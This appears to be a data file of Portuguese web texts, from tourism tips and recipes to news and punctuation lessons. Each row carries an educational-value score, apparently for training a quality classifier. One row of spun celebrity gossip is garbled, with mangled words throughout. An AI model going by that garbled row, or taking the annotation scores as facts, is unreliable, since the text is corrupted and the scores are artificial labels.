+"Dicas Passeios no Chile: Se você está nos visitando, recomendamos muitas atrações turísticas em Santiago do Chile, como visitar os seguintes pontos turísticos: +Caminhada pelo bairro histórico de Santiago: onde você pode visitar o Palácio da Moneda, a Plaza de Armas, o Mercado Central, o Monte Santa Lucia, todos os mencionados têm uma curta distância (um raio não superior a 4 km). +Centro Costanera: Centro Comercial localizado na Comuna de Providencia, onde você encontrará o prédio mais alto da América Latina. +Barrio Bellavista: centro boêmio e gastronômico da capital, localizado no limite de três comunas (Recoleta, Santiago e Providencia), você encontrará opções variadas de bares e restaurantes de comida chilena típica, bem como Gastronomia Internacional, à noite é uma excelente opção para sair para dançar, beber uma boa cerveja ou dar um passeio. +Para obter informações mais personalizadas, escreva-me via whatsapp +56948005656",original,original,original,original,1,0.2 +"De volta ao Teatro Adamastor, a Orquestra Jovem Municipal de Guarulhos (OJMG) faz seu primeiro concerto do ano, abrindo a Temporada 2016, neste sábado, dia 19, às 20h. É de graça e uma oportunidade de conferir o trabalho dos jovens músicos de nossa cidade! #boracurtirGuarulhos! +No programa, a Sinfonia nº 5 em Dó menor op. 67, de Ludwig van Beethoven, sob regência de José Consani. Em seguida, sob a batuta de Emiliano Patarra, serão executadas Prelúdio à ‘Tarde de um Fauno’, de Claude Debussy, e Suíte Pássaro de Fogo (versão de 1919), de Igor Stravinsky. O mesmo programa será executado no dia 7 de abril, às 20h, no Teatro Rui Barbosa, na Capital. +Na Temporada 2016, a Orquestra vai fazer um pouco de tudo. Em abril, o segundo concerto contará com um programa todo barroco. Já em maio será a vez da música romântica, com “Abertura Helios”, do dinamarquês Carl Nielsen; um concerto para violão, com o solista e professor João Argolo; e “Sinfonia nº 1 em Dó Menor, op 68”, de Brahms. Para finalizar o primeiro semestre, o mais importante balé, O Lago dos Cisnes, com a Cia Brasileira de Danças Clássicas. +Em agosto, no Adamastor, a OJMG participa do Festival Internacional de Trompete. No mês seguinte, o público vai conferir a ópera “A Queda da Casa de Usher”, de Phillip Glass sobre o texto de Edgar Allan Poe. +Já em outubro, nova execução de Carl Nielsen, seguida de “Naenie para Coro e Orquestra”, de Brahms, (com participação do Coro Universitário do Mackenzie) e “Te Deum”, de Dvorak. +Veja a Temporada 2016 completa aqui. +1º Concerto da Temporada 2016 – Orquestra Jovem Municipal de Guarulhos +Entrada franca. Grátis. Retirar ingresso uma hora antes do espetáculo.",original,original,original,original,2,0.4 +"Pelo vídeo ela aparece pelo quarto, já vestida utilizando este avental hospitalar, dançando sua própria nova música Pelo Groove, fabricada em parceria com Márcio Victor, do Psirico. Ao seu lado está o marido Daniel Cady, e 1 grupo por familiares e amigos. +Na África do Sul, Marquezine e Neymar levaram Davi Lucca para 1 safári e registraram o menino bastante impressionado ao conferir ESTES animais selvagens tãeste de perto. Em vídeos publicados nas redes sociais, aliás, é possível ver que o menino está este tempo abraçado à namorada do pai. +Em conversa com o Purepeople, o cantor falou Acerca a vida do moderno herdeiro. ""Tá maravilhosa, é beijo todo POR DIA. É uma coisa qual a gente queria bem e aguardem que vem Ainda mais por aí"", garante o cearense, que possui planos de deter uma família Bastante. +Como eu já pinto cerâmica e porcelana e gostaria de aprender tomar as peças .Caso nãeste trabalhe com esses materiais , se tiver alguma indicaçãeste agradeço a partir de já . +Noel on sexta-feira, marçeste 17, 2017 Gostaria do saber se há vagas de modo a o curso por quinta-feira às 19h e quando haverá nova turma? Também gostaria do saber este valor. +ESTES pé especialmentes apresentam pontos, reflexos Destes principais sistemas você pode tentar isso e órgãESTES do corpo. Baseado nisso, realiza-se uma massagem hidratante em todo este pé de modo a proporcionar uma sensação do relaxamento e natural-manter-se. +É proibido o uso ou publicação deste conteúdo nenhumas a devida autorizaçãeste. Os infratores ficarão sujeitos a penas previstas por lei. OFuxico não envia mensagens por e-mail A cerca de promoções, notícias ou novidades. 2000 • 2017 ® OFuxico +""Nunca estudei. Comecei a trabalhar usando cinco anos. Assim sendo, tudo que aprendi foi na prática. Foi um manejorefregatráfego intuitivo e sinto de que tenho pouca técnica. Talvez eu até possua técnica, mas não sei qual isso é té especialmentecnica porque nunca tive a oportunidade por estudar. +Rafaella Santos, irmã do craque, anunciou o início do namoro utilizando este atacante Gabigol no seu Stories, em maio. Na rede social, a jovem surgiu beijando este atleta e colocou 1 emoji do coração na legenda. +Francesca on quinta-feira, fevereiro 16, 2017 Ola tudo bem? Solicito informações A respeito de este curso cerâmica de alta temperatura para adultos – modelagem manual e torno elé especialmentetrico, gostaria de arrecadar informações de início do novas turmas e valores a serem pagos, natural como custos do materiais e etc. +Em entrevista anterior ao Purepeople, Safadão afirmou de que ESTES filhos se encantaram utilizando a notícia da gravidez. ""Com muita alegria e emoção. A melhor possível! Ficaram bastante felizes usando a notícia de que vão ganhar um novo irmãozinho"", explicou o cantor, isento preferência A respeito de ser pai por menino ou menina: ""A preferência que tenho é qual essa criança chegue ao mundo cheia do saúpor e abençoada por Deus. +Na modelagem manual, essa liberdade é conquistada logo no começo do curso. Na modelagem em torno, a tfoicnica e determinação manter-seãeste a todos os momentos presentes pelo desenvolvimento e controle do barro.",original,original,original,original,2,0.4 +"JOVEM ECONOMISTA: A CSS e a saúde pública - o quê muda? +A CSS e a saúde pública - o quê muda? +Após o fim da Contribuição Provisória sobre Movimentação Financeira – CPMF, em dezembro de 2007, e, em função da votação da Proposta de Emenda Constitucional nº 29 – PEC/29, encaminhada pelo Congresso Nacional, está em debate a criação da Contribuição Social para Saúde - CSS, como uma fonte alternativa de recursos para a área da saúde. +Entenda seus principais pontos: +A CSS vai funcionar no mesmo modelo da CPMF, porém, com alíquota de 0,1% e destinação dos recursos exclusivamente para a saúde. A alíquota da CPMF era de 0,38% e, além da saúde, nos últimos anos de vigência, tinha parte destinada à Previdência Social e ao Fundo de Erradicação da Pobreza. +A criação da nova contribuição será proposta em substitutivo ao Projeto de Lei Complementar 306/08, que regulamenta a Emenda 29 e, se aprovada, a regulamentação representará um aumento entre R$ 9 bilhões e R$ 12 bilhões no orçamento federal da Saúde neste ano. O governo calcula em R$ 10 bilhões a arrecadação adicional com a nova contribuição. +O projeto altera a forma de custeio das despesas da Saúde prevista no projeto do Senado, acabando com a vinculação de 10% das receitas brutas da Federação. Pelo substitutivo, fica mantida a regra atual que estabelece a aplicação para a Saúde do montante gasto no ano anterior mais a variação do Produto Interno Bruto – PIB. +O governo argumenta que não é possível aprovar a Emenda 29 sem que haja uma fonte permanente de financiamento para essa nova despesa. +O líder do PT na Câmara dos Deputados, Maurício Rands (PT-PE), informou que a base aliada vai sugerir que a nova contribuição tenha uma faixa de isenção para quem ganha até R$ 3.080, equivalente ao teto da Previdência Social. +O líder do PSDB, deputado Federal José Aníbal (SP), argumentou que a votação da CSS significaria rompimento do acordo feito com os partidos prevendo apenas a votação do projeto de regulamentação da Emenda 29 e que, com o atual crescimento nas receitas tributárias, o Governo teria condições de arcar com o custeio da Saúde. +A nova contribuição deverá agregar recursos relevantes que serão fundamentais para assegurar a efetiva regulamentação da emenda 29 e importantes investimentos no setor de saúde, como universalização do Serviço de Atendimento de Médico de Urgência - Samu para todo o território nacional, a implantação do Programa Saúde nas Escolas e ampliação de acesso a serviços de atenção especializada ambulatorial e hospitalar, entre outras ações. +Com esses recursos será possível, por exemplo, ter algo como 12 mil novas equipes de saúde da família, o que permitiria ampliar o atendimento de 80 milhões para 150 milhões de brasileiros; seriam contratados 15 mil novos agentes comunitários de saúde, melhorando os indicadores de saúde das comunidades. +Uma contribuição como a CSS também será importante para a Receita Federal fiscalizar desvios de recursos nas movimentações financeiras e, conseqüentemente, intensificará a fiscalização contra a sonegação de tributos. +Vale citar que grande parte dos assalariados brasileiros serão isentos da cobrança da CSS considerando-se a faixa de renda para isenção de R$ 3.080. +Postado por Reginaldo às 18:01:00",original,original,original,original,3,0.6 +"Fabricado com nylon estonado, as alças são de PP 25mm e fechos de nylon. Possui 3 bolsos, a personalização é em bordado.. +Fabricado com nylon estonado, as alças são de PP 25mm e fechos de nylon. Possui 3 bolsos, a personalização é em bordado.",original,original,original,original,0,0.0 +"Parraga deixa cargo de observador técnico do Flamengo para dirigir Independente na Segundona | independente de limeira | Globoesporte +Parraga deixa cargo de observador técnico do Flamengo para dirigir Independente na Segundona +Ex-jogador, hoje treinador do Galo também tem passagem como interino do Palmeiras +01/02/2019 19h30 Atualizado 2019-02-01T21:30:38.492Z +O Independente definiu seu técnico para a Segunda Divisão do Campeonato Paulista. Trata-se de Jorge Parraga, que deixou o cargo de observador do Flamengo para comandar o time de Limeira no equivalente à quarta divisão estadual. O treinador também tem passagens por Palmeiras, Ponte Preta, Fortaleza e Inter de Limeira, entre outros. +– Estava ganhando bem no Flamengo do Rio de Janeiro, onde era observador técnico, mas voltei ao Galo para ser feliz – disse o treinador, em sua apresentação ao novo clube. +A comissão técnica será composta pelo auxiliar técnico Cláudio Roberto, o preparador de goleiros Pereira e o preparador físico Roberto Nogueira. Além deles, há o roupeiro Ricardinho e o auxiliar de rouparia Paschoal. +Jorge Parraga (segundo da esquerda para direita) é o novo técnico do Independente — Foto: Denis Suidedos / Gazeta de Limeira +Essa será a segunda passagem de Parraga pelo Independente, que tem história no clube. Ele era o treinador em 2011, quando o clube foi campeão da Segunda Divisão. Agora, o comandante chega com a missão de novamente conquistar o acesso à Série A3. +O início dos trabalhos está programado para o próximo dia 11 de fevereiro, segunda-feira. A expectativa é que o técnico traga jogadores para formarem o elenco. ++ CLIQUE AQUI para ler mais notícias do Independente +Nesta sexta-feira, o Independente conheceu seus adversários na primeira fase da Segundona, que começa em 7 de abril. A equipe está no Grupo 3 ao lado de Brasílis, XV de Jaú, Jaguariúna, Rio Branco, Itapirense e União Barbarense - os quatro melhores avançam à segunda fase. +Parraga também dirigiu a Ponte Preta de forma interina — Foto: Marcos Ribolli +Andradina e Independente-SP empatam e se mantêm no G-2 da Segundona +Resultado de 0 a 0 na partida disputada em Andradina deixou as duas equipes na zona de classificação direta à próxima fase +Há 1 semana independente de limeira +XV de Jaú vence o Independente-SP e garante classificação à próxima fase da Segundona +Batalla e Fleck marcaram os gols da vitória da equipe em partida disputada na manhã deste domingo, no estádio Zezinho Magalhães +Com versões diferentes de clube e investidor, Independente encerra parceria no futebol profissional +Equipe tem como principal meta conquistar o acesso à Série A3 do Campeonato Paulista +Há 10 meses independente de limeira +Há 1 ano independente de limeira",original,original,original,original,0,0.0 +"Imobiliária Moema - Azular Imóveis +Casa Comercial / Locação, Venda - Moema, São Paulo +Loja / Locação - Moema, São Paulo +Loja / Locação, Venda - Moema, São Paulo +Casa Comercial / Locação - Moema, São Paulo +R$19.000,00 (aluguel) +Alameda Dos Nhambiquaras, 779",original,original,original,original,0,0.0 +"Nada melhor que caracóis amanteigados no café da manhã ou no café da tarde . Essa delicia é impossível de resistir assim como é impossível comer apenas um. +Já que é assim , vem comigo que eu irei te ensinar a fazer essa maravilha . Ingredientes : essência de baunilha , 2 xícara de chá de manteiga , 1 xícara de chá de leite , 2 xícara de chá de açúcar , 2 colheres de sopa de fermento em pó , 5 xícara de chá de farinha de trigo . +Modo de fazer : Derreta a manteiga e reserve ela . Quando a manteiga estiver quase firme , bata bastante com a ajuda da batedeira até que vire um creme. +Acrescente o açúcar , o leite e algumas gotas de essência de baunilha e volte à bater . Peneire a farinha de trigo com fermento e adicione aos poucos , vá mexendo a massa bem até que a massa esteja lisa . +PUBLICIDADE +Rodinhas com geleias deliciosas e fáceis de fazer +Rosquinhas de farinha integral rápido e fácil de preparar +Você também pode gostar +Receitas +Como fazer Petit Gâteau +Receitas +Macarrão com camarão +Receitas +Aprenda a fazer uma deliciosa pizza portuguesa que sua... +Receitas +Receita: Torta de limão com massa de biscoito +Receitas +O que servir na Ceia de Natal? +Receitas +Receitas simples e saudáveis para o seu Natal +Sobre nós +O site Tudo Receitas surgiu da ideia de compartilhar receitas feitas únicas feitas por nós, dicas de cozinha e alimentação saudável. Seja bem-vindo(a) ao nosso site e esperamos que você faça um ótimo proveito de nossas receitas deliciosas. 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Bolsonaro eles poderiam até agradar, mas jamais o Exército e vou explicar porque. +Em recente artigo o jornalista Elio Gaspari lembrou o que disse em agosto de 1964 o marechal presidente do Brasil, Humberto Castelo Branco, que àquela época deu a seguinte lição: ""Há mesmo críticas tendenciosas e sem fundamento na opinião pública de que o Poder Militar se desmanda em incursões militaristas. Mas quem as faz são sempre os que se amoitaram em meios militares. Felizmente nunca rondaram os portões das organizações do Exército que chefiei. Mas eu os identifico a todos. E são muitos deles, os mesmos que, desde 1930, como vivandeiras alvoraçadas, vêm aos bivaques bolir com os granadeiros e provocar extravagâncias do Poder Militar"". +Se levarmos em conta os ensinamentos de Castelo Branco, vamos perceber que Bolsonaro pode ser um daqueles que amoitou-se diante do Quartel-General onde havia uma aglomeração de vivandeiras que pediam extravagâncias do Poder Militar. O AI5 seria neste momento a maior extravagância e com certeza totalmente descartada pelas cabeças pensantes dos ativos do nosso glorioso Exército Brasileiro. +Como ocorre na combalida Venezuela de Maduro, Jair Bolsonaro subiu na caçamba de uma caminhonete para discursar afirmando que acredita em fanáticos golpistas, os quais gritavam o seu nome e faziam muito barulho e aos berros pediam intervenção militar no Brasil. O nosso presidente poderia usar o pouco conhecimento que possui para diminuir a incultura daqueles costumeiros praticantes de crimes contra a ordem nacional, mas não, fez bravatas dizendo que a patifaria tinha chegado ao final. +O que muita gente não sabe é que antes de se postar frente aos transloucados manifestantes, Bolsonaro já havia convidado para estar junto com ele o ministro da Defesa, General Fernando Azevedo e Silva, e também o ministro-chefe da Secretaria de Governo, General Luiz Eduardo Ramos, mas os dois se recusaram até porque o local marcado para a manifestação em frente ao Quartel General do Exército seria no sentido de transparecer que as Forças Armadas apoiam o governo e seriam simpáticas aos manifestantes, o que não corresponde à verdade. +A insensatez dos fanáticos é de tal dimensão que durante o ato de apoio a Bolsonaro fizeram buzinaço em frente ao Hospital das Clínicas de São Paulo, mesmo quarteirão do Instituto Emílio Ribas, cujo setor da UTI está lotado de pacientes infectados pela covid-19. +O Brasil precisa de paz, mas o povo precisa querer a paz!",original,original,original,original,2,0.4 +"Rizomas de Bulbine, da espécie Bulbine frutescens, uma planta perene, de flores delicadas e amarelas nesta variedade, originária da África do Sul. +Suas folhas suculentas, verdes, alongadas e cilíndricas formam uma touceira a partir da base e são muito semelhantes as folhas de cebola. As inflorescências despontam acima da folhagem, durante o ano inteiro e em maior profusão na primavera e verão. +As flores tem no centro um aspecto de tufo de pêlos, devido aos longos e finos estames amarelos. A bulbine é uma planta muito decorativa, mesmo quando está sem flores, e é apropriada para o plantio em maciços, canteiros, bordaduras ou grupos irregulares, além de vasos e jardineiras. Ideal também para telhados verdes. +É versátil e pode se encaixar em diversos estilos de jardins, mas principalmente em jardins tropicais ou de pedras, com outras plantas suculentas e cactus. Também é muito rústica, exigindo pouca manutenção, que restringe-se a adubações anuais, ao corte das inflorescências velhas e secas, com replantio a cada 4 anos. Sua floração atrai abelhas. +Deve ser cultivada a pleno sol ou sombra parcial, em solo fértil, bem drenável e enriquecido com matéria orgânica, com regas periódicas. Tolerante à seca e a uma ampla faixa climática. Capaz de suportar o frio mesmo que suas folhas sejam danificadas, pois têm uma excelente capacidade de rebrotar na primavera.",original,original,original,original,3,0.6 +"Sistema nervoso - Provas - Suzuky +O sistema nervoso humano, além de ser o centro de nossas emoções, controla as funções orgânicas do corpo e a interação deste com o ambiente,recebendo estímulos, interpretando-os e elaborando respostas a eles. +É composto pelo sistema nervoso central, e pelo sistema nervoso periférico: o primeiro, constituído de encéfalo e medula espinal, éresponsável por processar informações. O segundo, com nervos, gânglios e terminações nervosas, se encarrega pela condução dessas informações pelo corpo. +Células especializadas, denominadasneurônios, são as principais responsáveis pelo recebimento e transporte de informações, por meio de alterações elétricas que ocorrem na região da membrana - conhecidas por impulsos elétricos. Esses ocorrem,geralmente, da extremidade de um neurônio para a de outro, sendo que o local de junção entre estes é chamado sinapse nervosa. +Na grande parte das sinapses, os citoplasmas apresentam mediadoresquímicos: os neurotransmissores. Esses permitem a ocorrência destes impulsos ao se ligarem a proteínas de membrana da célula seguinte. A adrenalina é um exemplo. +Este sistema possui íntima relação com osistema endócrino, podendo fornecer a ele, por exemplo, informações relativas ao ambiente. Nessa situação, o sistema endócrino, responsável pela produção e secreção de hormônios na corrente sanguínea,atua estimulando, ou mesmo inibindo, a ação de determinados órgãos por meio destes mensageiros químicos. +Glândulas exócrinas, como as responsáveis pelo suor ou pela digestão, também exercem papelimportante no funcionamento do sistema nervoso, inclusive no que se diz respeito à homeostase corpórea. +Sistema Nervoso Somático: nervos com fibras sensoriais e motoras que conferem controlevoluntário à musculatura esquelética. +Sistema Nervoso Autônomo: nervos com fibras sensoriais e motoras que conferem controle aos mecanismos involuntários e vitais (funções vegetativas) fundamentais... +Relaçoes e implicações da historia da educação no atual modelo educacional brasileiro Marketing - kodak Segurança do trabalho Economia Dicas de vendedor Formação dos professores de biologia +{""essaysImgCdnUrl"":""\/\/images-study.netdna-ssl.com\/pi\/"",""useDefaultThumbs"":true,""defaultThumbImgs"":[""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_2.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_3.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_4.png"",""\/\/tbf-study.netdna-ssl.com\/stm\/images\/placeholders\/default_paper_5.png""],""thumb_default_size"":""160x220"",""thumb_ac_size"":""80x110"",""isPayOrJoin"":false,""essayUpload"":false,""site_id"":3,""autoComplete"":false,""isPremiumCountry"":false,""userCountryCode"":""US"",""logPixelPath"":""\/\/www.smhpix.com\/pixel.gif"",""tracking_url"":""\/\/www.smhpix.com\/pixel.gif"",""cookies"":{""unlimitedBanner"":""off""},""essay"":{""essayId"":27390527,""categoryName"":""Ciências"",""categoryParentId"":null,""currentPage"":1,""format"":""text"",""pageMeta"":{""text"":{""startPage"":1,""endPage"":3,""pageRange"":""1-3"",""totalPages"":3}},""access"":""premium"",""title"":""Sistema nervoso"",""additionalIds"":[],""additional"":[],""loadedPages"":{""html"":[],""text"":[1,2,3]}},""user"":null,""canonicalUrl"":""http:\/\/www.trabalhosfeitos.com\/ensaios\/Sistema-Nervoso\/20859.html"",""pagesPerLoad"":50,""userType"":""member_guest"",""ct"":null,""ndocs"":""2.400.000"",""pdocs"":"""",""cc"":""10_PERCENT_1MO_AND_6MO"",""signUpUrl"":""https:\/\/www.trabalhosfeitos.com\/assine\/"",""joinUrl"":""https:\/\/www.trabalhosfeitos.com\/join.php"",""payPlanUrl"":""\/join.php?join_type=pay\u0026amp;plan=3402"",""upgradeUrl"":""\/join.php?join_type=upgrade"",""freeTrialUrl"":null,""showModal"":""get-access"",""showModalUrl"":""https:\/\/www.trabalhosfeitos.com\/assine\/?redirectUrl=https%3A%2F%2Fwww.trabalhosfeitos.com%2Fjoin.php"",""joinFreeUrl"":""\/dashboard\/contribute?newuser=1"",""siteId"":3,""facebook"":{""clientId"":""104889802928742"",""version"":""v2.9"",""language"":""pt_BR""}}",original,original,original,original,3,0.6 +"PES anuncia inclusão do Allianz Parque: ""É tão real que antes de escolher o estádio, precisa ver se tem show"" +PES anuncia inclusão do Allianz Parque: “É tão real que antes de escolher o estádio, precisa ver se tem show” +21 de novembro de 2016 10 de outubro de 2018 +Uma novidade acaba de chegar ao PES 17, um dos games mais famosos de futebol. Trata-se da inclusão do Allianz Parque, fazendo com que os palmeirenses se sintam em casa jogando o game. Para trazer realismo, um diferencial foi criado: +“É tão real que antes de escolher o estádio, precisa ver se tem show. Pensamos nisso, porque sabemos que o palmeirense sofre com isso no mundo real. Por que não fazer isso no mundo virtual também?”, contou o desenvolver da empresa japonesa, Sandro Hiroshi. +Apesar do esforço da Konami, os torcedores reclamaram que não ficou tão real assim, já que o gramado no game é perfeito: “Senti falta dos buracos”, disse um palmeirense. +Fifa indica Marlone para o Prêmio Puskas e Corinthians pode ser tri mundial com 1 Libertadores +Fabio Junior se casa pela 7° vez e conquista o hepta antes do Flamengo",original,original,original,original,1,0.2 +"Você já parou para pensar como seria estranho se falássemos sem pausas, tudo emendado, como um trem desgovernado? Na escrita, as vírgulas e os pontos finais são como os freios e os sinais de trânsito, permitindo que o leitor respire, compreenda e aproveite a viagem! Vamos descobrir juntos como usar esses sinais para tornar nossos textos mais claros e interessantes? + +A vírgula, essa pequena curva mágica, serve para separar elementos dentro de uma frase. Imagine que você está listando seus brinquedos favoritos: ""Eu gosto de bonecas, carrinhos, jogos de tabuleiro e livros."" As vírgulas ajudam a organizar a lista, mostrando onde um item termina e outro começa. Mas atenção! Não usamos vírgula antes do ""e"" no último item, a não ser que a frase precise de uma pausa extra para não confundir o leitor. Por exemplo: ""Eu comi pizza, lasanha, e, para sobremesa, sorvete."" + +Além de separar itens em listas, a vírgula também indica pequenas pausas. Quando queremos explicar algo melhor, podemos usar uma frase explicativa entre vírgulas: ""Meu amigo, que é muito inteligente, me ajudou com a lição."" Essa parte ""que é muito inteligente"" dá mais informações sobre o amigo, mas não é essencial para entender quem ele é. Sem as vírgulas, a frase ficaria confusa. + +Agora, vamos falar do ponto final, o rei das pausas! Ele indica o fim de uma ideia completa. É como um ponto de chegada numa corrida. Depois do ponto final, começamos uma nova frase, com uma nova letra maiúscula. O ponto final mostra que terminamos de falar sobre um assunto e vamos começar outro. Por exemplo: ""Eu gosto de jogar futebol. É um esporte divertido e saudável."" + +Usar vírgulas e pontos finais corretamente faz toda a diferença. Um texto bem pontuado é como uma música bem afinada: fácil de ouvir e agradável. Um texto mal pontuado é como uma orquestra desafinada: confuso e cansativo. Então, da próxima vez que você estiver escrevendo, lembre-se: as vírgulas e os pontos finais são seus amigos, ajudando a guiar o leitor pelo seu texto. E agora, que tal praticar? Observe os textos que você lê, como notícias e posts de blogs. Veja como os autores usam as vírgulas e os pontos finais. Experimente reescrever pequenos trechos, mudando a pontuação e veja como isso afeta o sentido. A prática leva à perfeição, e logo você estará navegando pelas águas da escrita com a maestria de um verdadeiro capitão!",Português,Ortografia e pontuação,anos finais (6º ao 9º ano),"O trecho é excelente para o ensino fundamental. Apresenta conceitos básicos de pontuação (vírgula e ponto final) de forma clara e envolvente, utilizando analogias e exemplos práticos adequados para a faixa etária. A linguagem é acessível, o conteúdo é bem estruturado e há incentivo à prática, o que o torna altamente valioso para o aprendizado da escrita. Considero que atende aos critérios para receber a pontuação máxima.",5,1.0 +"Já parou para pensar como seria estranho ler um texto sem vírgulas ou pontos? Seria como tentar andar de bicicleta em uma montanha-russa: confuso e sem ritmo! A pontuação, na verdade, é a música da escrita. Ela ajuda a organizar as ideias, dá o tom certo para cada frase e garante que a mensagem chegue clara e precisa ao leitor. Neste texto, vamos desvendar alguns segredos da pontuação, focando na vírgula e no ponto, dois sinais importantíssimos que encontramos em quase todos os textos. + +A vírgula, essa pequena curva, é como uma pausa para respirar. Ela indica uma pequena interrupção na frase, separando elementos que precisam ser destacados ou que pertencem a listas. Pense na seguinte frase: ""Fui ao mercado e comprei maçãs, bananas, laranjas e mangas."" As vírgulas separam as frutas, criando uma lista organizada. Mas a vírgula também pode mudar o sentido de uma frase. Compare: ""Não, espere!"" e ""Não espere!"". A primeira indica que alguém está pedindo para esperar, enquanto a segunda é uma ordem para não esperar. Viu como uma simples vírgula faz toda a diferença? + +O ponto, por sua vez, é como o ponto final de uma conversa. Ele indica que uma ideia foi completa e que vamos começar a falar sobre outra coisa. Existem diferentes tipos de pontos, cada um com sua função. O ponto final (.) encerra uma frase declarativa. O ponto de interrogação (?) indica uma pergunta: ""Você gosta de estudar português?"". E o ponto de exclamação (!) expressa surpresa, alegria, ou até mesmo um susto: ""Que legal!"". + +Além da vírgula e do ponto, existem outros sinais de pontuação importantes, como o ponto e vírgula (;), as aspas ("" ""), os dois pontos (:), e os travessões (—). Cada um deles tem um papel específico na construção do texto. Mas dominar a vírgula e o ponto já é um grande passo para escrever melhor e entender o que você lê. + +Agora, pense um pouco: como você se sente quando lê um texto bem pontuado? Ele parece mais fácil de entender? A pontuação te ajuda a imaginar a cena que está sendo descrita? Lembre-se que a pontuação não é uma regra chata, mas sim uma ferramenta poderosa para tornar sua comunicação mais eficiente e interessante. Então, explore, experimente e divirta-se com a pontuação! Ela está aí para te ajudar a expressar suas ideias com clareza e estilo.",Português,Ortografia e pontuação,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, abordando a importância da pontuação de forma clara e didática. A analogia com a música facilita a compreensão, e os exemplos práticos da vírgula e do ponto são excelentes para o ensino fundamental. O texto introduz outros sinais de pontuação e estimula a reflexão sobre o impacto da pontuação na compreensão textual, tornando-o adequado para uso em sala de aula e contribuindo para o aprendizado estruturado.",5,1.0 +"A menos de 20km de Londrina, o Parque Estadual Mata dos Godoy preserva um dos poucos fragmentos que restaram da floresta nativa, abrigando inúmeras espécies de plantas e animais. Parte integrante da antiga Faz. Sta Helena, de propriedade da família Godoy, hoje o PEMG é um dos maiores pontos turísticos da cidade, reconhecido como maior patrimônio natural norte paranaense. Como apenas 10% do parque é liberado a visitação (relatado noutra ocasião), desta vez fui percorrer parte dos 90% restantes numa puxada travessia de 20km que singrou seu quadrante oeste e teve de tudo: estrada de chão, trilha, banho em cachoeira, subida de rio, perdidos e muito rasga-mato. Pernadinha de responsa nesta pouco conhecida unidade de conservação situada no Terceiro Planalto Paranaense. +Viagem breve, os 18km passaram quase que desapercebidos e após cruzar o minúsculo vilarejo rural de Vila Regina, pouco antes das 9hrs saltávamos a beira do asfalto, mas não na portaria principal do parque. Ao invés de desembarcar logo após o primeiro portal de madeira que dá as boas-vindas à unidade de conservação, esperamos o latão descer mais um pouco pelo parque adentro, pra então deixar o coletivo no outro pórtico do parque, ou seja, aquele que o delimita em seu quadrante sul, já na divisa com a fazenda ao lado. +Pois bem, dali basta passar sorrateiramente por uma porteira e seguir por um estradão de chão que bordeja o limite sul do parque. Uma casinha e um cocho são logo deixadas pra trás, sob o olhar perplexo dos cavalinhos que ali pastam, pra depois a caminhada tomar rumo em meio a baixa morraria daquele quadrante. Chovera os dias anteriores, mas não o suficiente pra deixar o céu despido de nuvens e sol brilhando a pino. Ao invés disso, deixou a estrada palmilhada um lamaçal só, transformando nossas botas em verdadeiras massas compactas (e pesadas) com placas de terra avermelhada. +Apesar do detalhe da precariedade do caminho, a paisagem alternando a rusticidade dos plantios de soja se mesclava ao das encostas de mata secundária e nativa, esta última já do lado do parque. O rumorejo de água correndo a nossa direita imediatamente denunciou o manso Ribeirão Apertados, divisa natural do parque. No caminho, lamentamos não ter trazido repelente dada a voracidade dos minúsculos sanguessugas alados. No entanto, esta queixa logo se dilui com a descoberta de inúmeras pegadas na lama, que vão desde aves, pequenos roedores e até de pesados mamíferos, no caso, de antas e capivaras. +Após cerca de tortuosos 5kms o caminho desemboca num enorme descampado tomado por abauladas colinas forradas de soja. Ali a estrada vira pro sul, sempre acompanhando o rio á distancia, mas agora se distanciando do parque. Não tem problema, pois me mantenho na via palmilhada por mais um km, cruzando um pequeno foco de mata mais fechada, onde o caminho simplesmente termina. Agora basta acompanhar o rugido de água a nossa direita e logo encontro um rastro partindo no meio dum bambuzal. Pronto, a vereda inicialmente desce suave mas logo empina, mas por pouco tempo. Sempre indo em direção ao ruído de água, que aumenta conforme se avança. +Num piscar de olhos caímos nas lajotas rochosas do Ribeirão Apertados, onde o basalto se empilha graciosamente num trecho que afunila o rio. Sim, o espreme pra depois transformar numa enorme cachoeira que despeja as águas do ribeirão num enorme lago que ganha tons avermelhados por conta das chuvas recentes. Logicamente, donos absolutos daquele lugar paradisíaco nos brindamos com uma merecida pausa as 11hrs, quando o sol já começava a despontar por frestas no céu. Um refrescante banho e um delicioso lanche apenas complementam nosso pit-stop, assim como as trocentas borboletas coloridas que apenas adicionam beleza àquele bucólico remanso. +Pois bem, revigorados, ao 12:30hr retomamos nossa marcha em direção á travessia propriamente dita. Pra isso retrocedemos tudo pela estrada até o ponto onde ela se afasta do parque. Ali, abandonamos a via de chão e mergulhamos no mar de ...",original,original,original,original,2,0.4 +Ta ai algo que me deixou com vontade de vomitar!!!,original,original,original,original,0,0.0 +"· Diante das situações observadas e pesquisadas a nível nacional que afetam diretamente a vida humana, a CEMIG, “Companhia Energética de Minas Gerais” afim de mobilizar a sociedade sobre a escassez da água, o desperdício da energia e o excesso de produção do lixo, promover um encontro com os professores, reconhecendo-os como difusores do conhecimento, formando parcerias e meios para divulgar, semear e multiplicar as ideias de preservações levando em conta a situação atual que acarreta prejuízos ás gerações futuras. +Tendo em vista as necessidades expostas, a Escola Municipal Pequeno Príncipe abraça essa causa através deste projeto com a finalidade de despertar e sensibilizar as crianças e suas famílias a preservação dos recursos naturais e a utilização dos mesmos de forma consciente. +· Divulgar á escassez concernentes aos recursos naturais e sensibilizar as crianças quanto a necessidade de preservação do meio ambiente para que estes sejam multiplicadores de ideias. +· * Conhecer e compreender a importância da preservação do nosso planeta terra. +· * Identificar e valorizar a preservação da natureza como parte integrante do nosso ambiente. +· * Compreender que a água é a necessidade básica para toda a vida no planeta. +· *Identificar o que acontece quanto ás pessoas utilizar mais água do que natureza pode fornecer. +· * Discutir como a escola pode diminuir o consumo de água e, que medidas podem ser levadas para casa como continuidade do processo de conscientização do seu uso. +· *Desenvolver com nossos alunos atividades que ajudem a conscientizar a família quanto á necessidade de economizar energia elétrica através do consumo adequado. +· * Reduzir o desperdício de água e energia elétrica. +· * Reconhecer a importância da seleção de lixo, da preservação e despoluição dos rios, dos alimentos naturais etc. +· * Desenvolver o interesse pelo gosto da leitura e escrita através de palavras e pequenos textos , ainda que não seja na forma convencional. +· * Compreender diferenças entre o sistema de escrita e outras formas gráficas de representação. +· * Dominar a sequência alfabética. +· * Compreender o funcionamento da escrita dos números e realizar contagens. 